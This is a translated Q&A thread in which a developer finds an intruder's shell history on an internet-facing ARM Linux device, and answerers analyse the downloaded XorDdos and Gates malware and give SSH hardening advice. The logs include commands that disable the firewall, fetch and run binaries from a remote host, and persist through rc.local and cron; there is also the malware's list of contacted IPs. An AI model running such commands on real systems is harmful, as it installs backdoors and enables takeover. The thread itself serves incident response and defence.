我刚刚被黑了吗?

vai*_*aid 504 networking linux trojan

我正在开发一个消费产品,它应该连接到互联网,所以正如预期的那样,它连接到互联网以便我可以正确地开发它。

我离开了一两个小时,当我回到办公室时,我注意到终端上写着一些奇怪的命令。

查看名为auth.log我的 Linux 日志文件,我可以看到以下几行(还有更多):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]
Run Code Online (Sandbox Code Playgroud)

40.127.205.162事实证明,该 IP 地址归 Microsoft 所有

以下是我不在时使用的一堆命令:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &
Run Code Online (Sandbox Code Playgroud)

和更多:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1
Run Code Online (Sandbox Code Playgroud)

我完全没有意识到这一点。如何正确保护我的产品?

我想发布完整的auth.log文件。我怎么做?

此外,yjz1下载的文件似乎是 Linux 木马程序,根据http://anti-hacker-alliance.com/index.php?ip=40.127.205.162,所有这些似乎都是由某种黑客组织完成的

我应该打电话给微软并与他们交谈吗?我该怎么办?

Mar*_*iae 496

编辑 2

这篇文章引起如此多的关注有一个很好的原因:您设法在您的 PC 上记录了入侵者的整个实时会话。这与我们的日常经验大不相同,在那里我们处理发现他行为的后果并试图纠正它们。在这里,我们看到他在工作,看到他在建立后门方面遇到了一些问题,回溯他的脚步,狂热地工作(也许是因为他坐在你的办公桌前,如上所述,或者,在我看来更有可能,因为他是无法让他的恶意软件在系统上运行,请阅读下文),并尝试部署完全独立的控制工具。这就是安全研究人员每天用他们的蜜罐所见证的。对我来说,这是一个非常难得的机会,也是一些乐趣的来源。


你肯定被黑了。这方面的证据不是来自auth.log您显示的文件片段,因为它报告了一次不成功的登录尝试,发生在很短的时间跨度(两秒)内。您会注意到第二行指出Failed password,而第三行报告pre-auth断开连接:这个人尝试过但失败了。

证据来,而不是从两个文件的内容 http://222.186.30.209:65534/yjzhttp://222.186.30.209:65534/yjz1它的攻击者下载到您的系统。

该网站目前对任何人开放,可以下载它们,我做到了。我首先跑file在他们身上,结果显示:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Run Code Online (Sandbox Code Playgroud)

然后我将它们带到我拥有的 64 位 Debian VM 上;通过strings命令检查它们的内容发现了很多可疑之处(参考各种众所周知的攻击、要替换的命令、明显用于设置新服务的脚本等)。

然后我生成了两个文件的 MD5 哈希值,并将它们提供给Cymru 的哈希数据库,以查看它们是否是已知的恶意软件代理。虽然yjz不是,但是yjz1,Cymru 报告被防病毒软件检测到的概率为 58%。它还指出该文件最后一次被看到是在三天前,所以它是最近的。

在我获得的两个文件上运行clamscanclamav包的一部分):

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND
Run Code Online (Sandbox Code Playgroud)

所以我们现在确信标准的 Linux 软件可以识别它。

你该怎么办?

虽然相当新,但两个系统都不是很新,例如,参见 2015 年 1 月关于 XorDdos 的文章。所以大多数免费包应该能够删除它。你应该试试:clamav, rkhunter, chkrootkit。我用谷歌搜索了一下,发现他们声称能够发现它。用它们来检查前辈的工作,但在运行这三个程序后,你应该准备好了。

至于更大的问题,what should you do to prevent future infectionsJourneyman 的回答是很好的第一步。请记住,这是一场持续的斗争,我们所有人(包括我!)很可能在不知不觉中就输了。

编辑

在 Viktor Toth 的(间接)提示下,我想补充几点意见。入侵者确实遇到了一些困难:他下载了两个不同的黑客工具,多次更改其权限,多次重新启动它们,并多次尝试禁用防火墙。很容易猜到发生了什么:他希望他的黑客工具向他的一台受感染的电脑打开一个通信通道(见下文),并且当他没有看到这个新通道出现在他的控制 GUI 上时,他担心他的黑客攻击工具被防火墙阻止,所以他重复安装过程。我同意 Viktor Toth 的观点,他手术的这个特殊阶段似乎没有带来预期的成果,但我想非常强烈地鼓励你 不要低估对您的电脑造成的损害程度。

我在这里提供了部分输出strings yjz1

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive
Run Code Online (Sandbox Code Playgroud)

这提供了篡改服务的证据(in/etc/init.d和 in /etc/rc.d),使用crontab,使用 的历史文件mysql,以及几个proc链接到的文件bash(这表明已经植入了定制的欺诈版本的 shell)。然后程序生成一个 HTTP 请求(到一个中文站点,

 Accept-Language: zh-cn
Run Code Online (Sandbox Code Playgroud)

这为上面大卫施瓦茨的评论提供了实质内容),这可能会造成更大的破坏。在请求中,二进制文件 ( Content-Type: application/x-www-form-urlencoded) 将被下载到被攻击的 pc (GET) 并上传到控制机器 (POST)。我无法确定将下载到受攻击的 PC 上的内容,但是,考虑到yjz和 和yjz1(分别为 1.1MB 和 600kB)的小尺寸,我可以大胆推测大部分文件需要隐藏 rootkit,修改后的lsnetstatpsifconfig、... 的版本将通过这种方式下载。这可以解释攻击者为进行此下载而进行的狂热尝试。

无法确定以上所有可能性:我们肯定缺少部分成绩单(在第 457 行和第 481 行之间)并且我们没有看到注销;此外,特别令人担忧的是第 495-497 行,

cd /tmp;  ./yd_cd/make
Run Code Online (Sandbox Code Playgroud)

哪个是我们没有看到下载的文件,哪个可能是编译:如果是这样,这意味着攻击者(终于?)了解他的可执行文件的问题是什么,并试图修复它,在这种情况下被攻击的电脑已经一去不复返了。[事实上,攻击者下载到被黑机器上的恶意软件的两个版本(以及我下载到我的 64 位 Debian 虚拟机上)是针对不合适的架构 x86,而仅凭被黑电脑的名称就暴露了这样一个事实:他正在处理一个手臂架构]。

我写这个编辑的原因是尽可能强烈地敦促你要么用专业的仪器梳理你的系统,要么从头开始重新安装。

而且,顺便说一句,如果这证明对任何人有用,这是尝试连接的331 个IP 地址的列表yjz。这个列表太大了(而且可能注定会变得更大),我相信这就是篡改mysql. 另一个后门提供的列表是相同的,我认为这就是将如此重要的信息公开的原因(我认为攻击者不想努力以内核格式存储它们,所以他将整个列表放在一个明文文件中,对于任何操作系统,他的所有后门都可能读入该文件):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98
Run Code Online (Sandbox Code Playgroud)

以下代码

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l
Run Code Online (Sandbox Code Playgroud)

从上表中可以看出,331个地址中有302个在中国大陆,其余在香港、蒙古、台湾。这进一步支持了 David Schwartz 的论点,即这主要是一个中国机器人圈。

编辑 3

应@vaid 的要求(OP 的作者,请阅读下面的评论),我将添加有关如何加强基本 Linux 系统安全性的评论(对于提供许多服务的系统,这是一个复杂得多的主题)。vaid声明他做了以下事情:

  1. 重装系统

  2. 将 root 密码更改为 16 个字符长的密码,其中包含小写和大写字母以及字符和数字。

  3. 将用户名更改为 6 个混合字符长的用户名,并应用与 root 相同的密码

  4. 将 SSH 端口更改为 5000 以上

  5. 关闭SSH root登录。

这很好(除了我使用 10,000 以上的端口,因为许多有用的程序使用 10,000 以下的端口)。但是我怎么强调都需要使用加密密钥进行 ssh 登录,而不是密码。我给你一个个人的例子。在我的一台 VPS 上,我不确定是否要更改 ssh 端口;我将其保留为 22,但使用加密密钥进行身份验证。我有数百个磨合尝试每天,但没有成功。当我厌倦了每天检查没有人成功时,我最终将端口切换到 10,000 以上的某个值,闯入尝试变为零。请注意,并不是黑客愚蠢(他们不是!),他们只是追捕更容易的猎物。

使用 RSA 作为签名算法很容易激活加密密钥,请参阅 Jan Hudec 下面的评论(谢谢!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *
Run Code Online (Sandbox Code Playgroud)

现在您要做的就是将文件复制id_rsa到您要连接的机器(在一个目录中.ssh,也chmod被修改为 700),然后发出命令

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine
Run Code Online (Sandbox Code Playgroud)

当您确定这有效时,在服务器(=您要连接的机器)上编辑文件/etc/ssh/sshd_config,然后更改行

#PasswordAuthentication yes
Run Code Online (Sandbox Code Playgroud)

PasswordAuthentication no
Run Code Online (Sandbox Code Playgroud)

并重新启动ssh服务(service ssh restartsystemctl restart ssh,或类似的东西,取决于发行版)。

这将承受很多。事实上,目前还没有针对当前版本的openssh v2和 RSA 所采用的已知漏洞openssh v2

最后,为了真正关闭您的机器,您需要按如下方式配置防火墙(netfilter/iptables):

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT
Run Code Online (Sandbox Code Playgroud)

这, 1) 允许来自 LAN 和 WAN 的 ssh 连接, 2) 允许所有由您的请求发起的输入 (例如, 当您加载网页时), 3) 在输入上删除其他所有内容, 4) 允许所有内容输出和 5-6) 允许环回接口上的所有内容。

随着您的需求增长,需要打开更多端口,您可以通过在列表顶部添加如下规则来实现:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT
Run Code Online (Sandbox Code Playgroud)

例如,允许人们访问您的 Web 浏览器。

  • 在不受信任的数据上运行“字符串”时要小心。https://lcamt​​uf.blogspot.com/2014/10/psa-dont-run-strings-on-untrusted-files.html (34认同)
  • 这个答案显示了一种应该成为范式的方法: 1. 不要让你的注意力被失败的尝试转移,保持警惕。2. 个性化攻击者的成功行为。3. 研究攻击者做了什么以及如何做。4. 从头开始​​或从上次未损坏(受攻击)备份安装所有内容,添加您发现的所需附加保护(第 3 点)。5. 帮助他人保护自己(受损/可疑 IP 列表)。 (32认同)
  • 这很好读。我还通过 Google **VirusTotal.com** 尝试了文件 `yjz1`,结果为阳性。我什至没有看到`yjz`已被下载。谢谢。 (11认同)
  • [在@MariusMatutiae 发表评论后编辑] - 尽管如此,OP 应该意识到,在受感染的系统上,_every_ 可执行文件必须被视为恶意的,即使是 shell、`ls`、`who` 或其他任何东西。通过使用受感染系统上的任何可执行文件(例如`scp` 或`rsync`)“拯救数据”可能会危害更多机器。 (11认同)
  • @MattNordhoff 感谢您指出这一点,我很幸运地没有意识到这一点。但是,在我的 Debian 上,“strings”命令通过了您链接的测试。我认为这是由于手册指出:*-a ...通常这是默认行为*。干杯。 (5认同)
  • @MariusMatutiae 您可能有兴趣知道,在安全 SE 上,不久前就更改默认 ssh 端口是否是一个很好的措施或引起更多头痛的事情进行了一场体面的辩论,这是值得的。参见 http://security.stackexchange.com/questions/32308/should-i-change-the-default-ssh-port-on-linux-servers?s=2|1.7584 FWIW,我站在同一边你做。攻击者进行全端口扫描显然可以击败它。但至少无处不在的扫描/攻击机器人几乎总是坚持扫描公共/默认端口,将会失败。 (2认同)
  • @halfinformed 我同意你的看法。很明显,那些顽固地伤害他人的人不会被这些措施吓倒,但至少可以让僵尸网络管理员远离。感谢您指出参考资料,更改 ssh 端口的缺点都涉及与大量客户、服务、大型组织打交道的人。这些都不会影响个人用户的讨论。 (2认同)
  • @meowsqueak 哦,但是更好、更现代的解决方案是fail2ban,它几乎适用于任何应用程序、postfix、https、ssh 等。这绝对有帮助,我自己使用它。尽管如此,重点仍然存在:只要您有密码,您就必须找到弥补其内在弱点的方法。钥匙没有这样的弱点。 (2认同)

Jou*_*eek 142

欢迎来到互联网 - 任何开放的 SSH 服务器都可能会受到探测、暴力攻击,并受到各种侮辱。

首先,您需要完全擦除产品上的存储空间。如果您想将其用于取证,请对其进行映像,但现在可以怀疑其上的 Linux 安装。

有点猜测但是

  1. 您被强制使用使用通用密码。它是默默无闻的安全性,但您不想要字典密码使用对 SSH 开放的 root 帐户。如果这是一个选项,请禁用 root SSH 访问,或者至少更改名称,以便他们需要猜测两者。无论如何,以 root 身份进行 SSH 连接是一种糟糕的安全做法。如果必须使用root,请以其他用户身份登录并使用su 或sudo 进行切换。

  2. 根据产品的不同,您可能希望以某种方式锁定 SSH 访问。完全锁定听起来是个好主意,并允许用户根据需要打开它。根据您可以节省的资源,考虑只允许您自己子网中的 IP 地址,或某种登录限制系统。如果您在最终产品上不需要它,请确保它已关闭。

  3. 使用非标准端口。再次默默无闻的安全性,但这意味着攻击者需要以您的端口为目标。

  4. 永远不要使用默认密码。我见过的最好的方法是为特定设备随机生成一个密码,并随产品一起提供。最佳实践是基于密钥的身份验证,但我不知道您将如何在大众市场产品上实现这一点。

  • 5. 尽可能使用公钥认证。密码认证远没有那么安全。 (78认同)
  • 是的,但如果它是消费设备,它可能不是一种选择。在开发盒上,这听起来是个绝妙的主意。在服务器上,嗯,我之前确实被黑过;p (4认同)
  • 如果它是消费设备,那么所有这些设备上都使用相同的随机密码或密钥也是一个坏主意。与基于其序列号、MAC 或其他可识别信息的任何内容一样。(许多 SoHO 调制解调器/路由器/WAP 似乎错过了一些东西)。 (2认同)
  • 它是一种消费设备。然而,绝大多数目标消费者没有受过足够的教育来了解 SSH 是什么。所以 SSH 可以关闭,而且很可能会被关闭。 (2认同)
  • 另外,使用 [fail2ban](http://www.fail2ban.org)。 (2认同)

Vik*_*oth 36

哦,你肯定被黑了。有人似乎能够获得 root 凭据并尝试将木马下载到您的系统。MariusMatutiae 提供了对有效载荷的分析。

出现了两个问题:a) 攻击者成功了吗?b) 你能做些什么?

第一个问题的答案可能是否定的。请注意攻击者如何反复尝试下载和运行有效负载,但显然没有成功。我怀疑有什么东西(SELinux,也许?)挡住了他的去路。

但是:攻击者还更改了您的/etc/rc.d/rc.local文件,希望在您重新启动系统时激活有效负载。如果您尚未重新启动系统,请在从 中删除这些更改之前不要重新启动/etc/rc.d/rc.local。如果您已经重新启动它......好吧,运气不好。

至于你能做些什么: 最安全的做法是擦除系统并从头开始重新安装。但这可能并不总是一种选择。一个明显不太安全的做法是准确地分析发生了什么,并尽可能抹去它的每一个痕迹。同样,如果您还没有重新启动系统,也许只需/etc/rc.d/rc.local清除攻击者下载的任何内容,最后但并非最不重要的,更改该死的密码!

但是,如果攻击者已经能够运行有效负载,则可能对您的系统进行了其他难以检测的修改。这就是为什么完全擦拭确实是唯一安全(和推荐)的选择。正如您所指出的,有问题的设备可能是一个测试/开发目标,因此擦拭它可能不像在其他情况下那样痛苦。

更新:尽管我写了关于可能的恢复的内容,但我希望回应 MariusMatutiae 的强烈建议,不要低估此有效载荷造成的潜在损害以及它可能对目标系统造成危害的程度。

  • 谢谢。我决定抹掉系统。我重新启动了几次,但只是为了复制一些基本数据。没有二进制文件,只有源代码。我想我现在很安全。 (2认同)

小智 19

我的 sshd-honeypot 也遇到过这种攻击。该 URL 的首次下载始于 2016 年 1 月 29 日 10:25:33,攻击仍在进行中。攻击来自/曾经来自

103.30.4.212
111.68.6.170
118.193.228.169
Run Code Online (Sandbox Code Playgroud)

这些攻击者的输入是:

服务 iptables 停止
wget http://222.186.30.209:65534/yjz1
nohup /root/yjz1 > /dev/null 2>&1 &
chmod 0777 yjz1
chmod u+x yjz1
./yjz1 &
chmod u+x yjz1
./yjz1 &
cd /tmp

因此,除了安装后门供以后使用外,没有其他活动。


小智 13

这里的每个人都提供了可靠的建议,但要明确的是,您的首要任务应该是备份和验证您真正需要从该系统中获得的内容,然后从已知安全的媒体中重新安装。

在将新安装的主机连接到 Internet 之前,请运行以下想法:

  1. 创建一个新的非 root 用户,并以该用户身份登录。您永远不需要以 root 身份登录,只需在需要时使用 sudo(替换用户执行)即可。

  2. 安装 SE Linux,启用强制访问控制的配置设置:https : //wiki.debian.org/SELinux/Setup

  3. 考虑在您的办公室/家庭和 Internet 之间安装硬件防火墙。我使用 MicroTik,它具有出色的社区支持:http ://routerboard.com/ 。

假设您在完成有偿工作的时间表上,至少做 #1。#3 速度快,价格便宜,但你要么需要等待邮寄的包裹,要么开车去商店。

  • 而且,最重要的是,不要让您的电脑在无人看管的情况下运行,并打开 root 会话! (3认同)

Arc*_*mar 12

  1. Debian的armhf您的主机名?或者您是否使用具有默认设置的默认安装?这没有问题,但是您不应该让主机直接暴露在 Internet 上(即至少不受调制解调器的保护)。

  2. 看起来真正的麻烦来自222.186.30.209(参见http://anti-hacker-alliance.com/index.php?ip=222.186.30.209)。你不应该太注意看到微软的 IP。IP 或多或少很容易被伪造/欺骗。

  3. 连接到 Internet 的常用方法是将已知端口列表从您的公共 IP(例如 8.8.8.8)转发到您的本地(例如 192.168.1.12)。

    • 例如,不要将所有传入连接从8.8.8.8(公共)转发到192.168.1.12(本地)。

    • 仅转发端口2225(分别为 ssh 和传入邮件)。当然,您还应该拥有最新的sshsmtp包/库。

  4. 下一步是什么?断开主机,并在/etc/shadow.

  • @Archemar:SSH 是 TCP;如果不是不可能的话,伪造 TCP 源 IP 是很困难的。另外,如上所述,Microsoft IP 属于他们的云服务 Azure,这意味着任何人都可以在该服务上争取时间来攻击他人。 (2认同)

小智 10

正如其他人所说,很明显您的服务器的安全性已经受到损害。最安全的做法是擦拭本机并重新安装。

要回答问题的第二部分,如果您不能使用公钥身份验证,我建议至少设置 Fail2Ban 并在非标准端口上运行 SSH。我还禁用了 root SSH 访问。

Fail2Ban将通过禁止未能登录一定次数的 IP 地址来帮助减轻暴力攻击。

将 sshd 设置为侦听非标准端口至少有助于稍微降低 SSH 服务器的可见性。禁用 root 登录也会稍微减少攻击配置文件。在/etc/sshd_config

PermitRootLogin no
Port xxxxx
Run Code Online (Sandbox Code Playgroud)

禁用 root 登录后,您需要在连接后切换到 root su,或者(更优选)用于sudo执行特权命令。


use*_*825 9

SSH 服务器在互联网上不断受到攻击。你要做的几件事:

  1. 确保您使用非常安全的随机密码,用于可访问互联网的机器。我的意思是像 16 个字符或更多并且完全随机。使用密码管理器,这样您就不必记住它。如果你能记住你的密码,那就太简单了。

  2. 如果您不需要 SSH,请将其关闭。如果您确实需要它,但不需要它可公开访问,请在较高的非标准端口号上运行它。这样做将大大减少黑客尝试。是的,专门的黑客可以进行端口扫描,但自动机器人不会找到它。

您的身份验证日志中的片段显示了一次失败的尝试。但是,如果您进一步观察,您无疑会看到成功登录。如果您使用简单的密码,那么机器人就可以轻松进入。

您需要将这台机器与网络隔离。非常小心地从它上取下你需要的东西,然后擦拭它。

  • 当我过去在端口 22 上运行 ssh 时,我通常每天会进行数千次黑客攻击。当我更改为高端口号(超过 50000)时,这些黑客尝试完全停止。 (7认同)
  • @Ramhound 为什么不呢?即使只是小写字母,16个小写字母也有43608742899428874059776种可能性,这对于暴力破解来说是不切实际的,特别是对于每次尝试失败服务器都会让您等待的在线暴力破解。 (3认同)
  • @用户20574。虽然不是绝对必要的,但降低 SSH 服务的可见性仍然非常有帮助。即使没有其他原因,只是为了从日志中删除混乱。如果一台机器只需要被有限的一群人访问,那么非标准端口是提高安全性的一个完全合理的步骤。 (3认同)

Gia*_*968 7

设置前置 Linux/Unix 服务器后,任何人/每个人都应该做的第一件事是立即禁用root.

